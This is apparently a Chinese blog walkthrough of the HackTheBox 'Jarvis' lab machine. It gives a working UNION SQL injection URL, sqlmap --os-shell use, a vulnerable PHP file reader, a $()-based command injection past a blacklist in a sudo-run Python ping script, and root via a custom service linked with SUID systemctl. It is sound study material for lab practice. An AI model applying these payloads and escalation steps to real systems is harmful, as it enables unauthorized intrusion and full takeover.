靶機滲透_hackthebox__jarvis -7

目標IP:10.10.10.143

Nmap scan report for supersecurehotel.htb (10.10.10.143)
Host is up (0.28s latency).
Not shown: 939 closed ports, 58 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.13)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.13
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 278.00 seconds

22,80,8000端口,其中8000端口第二天訪問的時候就給關閉了一個目錄遍歷的漏洞

所以重點都在80端口上目錄爆破有幾個url存在sql注入

另外有一個phpmyadmin 4.8.0

http://10.10.10.143/room.php?cod=-3%20union%20select%201,version(),user(),data
base(),5,6,7
2345
10.1.37-MariaDB-0+deb9u1
DBadmin@localhost
hotel

通過sql注入獲得的一些信息

第一次訪問8000端口時也拿到了一些文件 查看了一個文件 存在任意文件讀取

<?php
error_reporting(0);
if($_POST['getfile']){
if(file_get_contents($_POST['getfile'])){
echo '<h4 style="color:black;">'.htmlspecialchars(file_get_contents($_POST['ge
tfile'])).'</h4>';
}
else{
echo '<h2 style="color:red">Nothing to show</h2>';
}
}
else{
header("Location:/index.php");}
?>

沒有得到user.txt 那個文件應該有權限設置

因爲注入的時候用戶是DBadmin@localhost

所以嘗試了一下sqlmap --os-shell

獲得了www-data:shell

lrwxrwxrwx 1 root   root      9 Mar  4 11:11 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2 08:54 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2 08:54 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2 10:15 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2 08:54 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4 11:14 Web
-r--r----- 1 root   pepper   33 Mar  5 07:11 user.txt

 看到/home/下面用戶的目錄權限愛你無法讀取所以之後應該是橫向提權獲得pepper 用戶權限

sudo -l 

Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

不需要密碼運行的simpler.py文件 用戶是pepper 

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()
	
    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1
	
    print('Most Recent: ' + ip2 + ' --&gt; ' + str(dat) + ' ' + req)
	
def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req
			
def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]
	
def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req
	
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()
#
sys.exit()

這個文件中的重點有這個函數

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

執行ping命令是通過調用 os.system()而且command 命令有一個白名單限制

forbidden=['&',' ; ', ' -', '`', '||', '|']

常用的命令注入用到的都給禁用調用了不過有一個$內聯注入

詳細另一篇有一個在學習這個靶機時關於bash 命令這注入的使用這裏不多介紹

sudo -u pepper ./simpler.py -p ${IP} $(eval_command)

拿到用戶pepper 

之後上傳Linenum腳本 獲得系統詳細信息

枚舉信息中有一個有意思的服務

-rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl

在linux中通常使用這個命令對服務進行操作 常用於開啓或者關閉,重啓等是一個systemd工具負責控制systemd系統和服務管理器

而systemd 時一個系統管理守護進程,工具和庫的集合

systemctl 開啓 開啓 重啓服務
systemctl start service_name
systemctl stop service_name
systemctl restart service_name
linux下創建自定義服務

自定義服務腳本以service爲後綴

文件存放於 /lib/systemd/system中

腳本分爲三個部分

[Unit] [Service][Install]

Unit

         表明該服務的描述,類型描述,例如A單元需要在B單元啓動之後在啓動

可以通過Unit 下面的Requires、After、Before、Wants來調整

Requires=B 
After=B
設置表明A的啓動依賴於B 在B啓動之後啓動 自己

 

Service

Type=forking 後臺運行模式
PIDFile=path 存放PID文件的位置
ExecStart=/bin/echo XXX 服務運行的具體執行命令
ExecReload=/bin/echo XXX 服務重啓的執行命令
ExecStop=/bin/echo XXX 服務停止的執行命令
 

Service 的啓動方式。在service段中啓動方式由
Type指定。
這裏並不是很詳細所以可以查看相關文章

創建一個自定義服務文件

[Unit]
Description=RS

[Service]
ExecStart=/home/pepper/shell.sh

[Install]
WantedBy=default.target

但是默認的路徑並沒有編輯權限

/usr/lib/systemd/system   # 系統服務,開機不需要登錄就能運行的程序(相當於開
自啓)

/usr/lib/systemd/user       # 用戶服務,需要登錄後才能運行的程序

這兩個目錄在靶機中需要root纔可以編輯之後檢查了systemctl 命令 
可以使用system enable path_service 
會創建服務的鏈接到需要的目錄中
 

Created symlink /etc/systemd/system/default.target.wants/root.service → /home/user/kalitool/hackthebox/jarvis/root.service.

Created symlink /etc/systemd/system/root.service → /home/user/kalitool/hackth
ebox/jarvis/root.service.

之後就是正常的開啓服務即可 systemctl start root

獲得root.txt 拿到權限

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章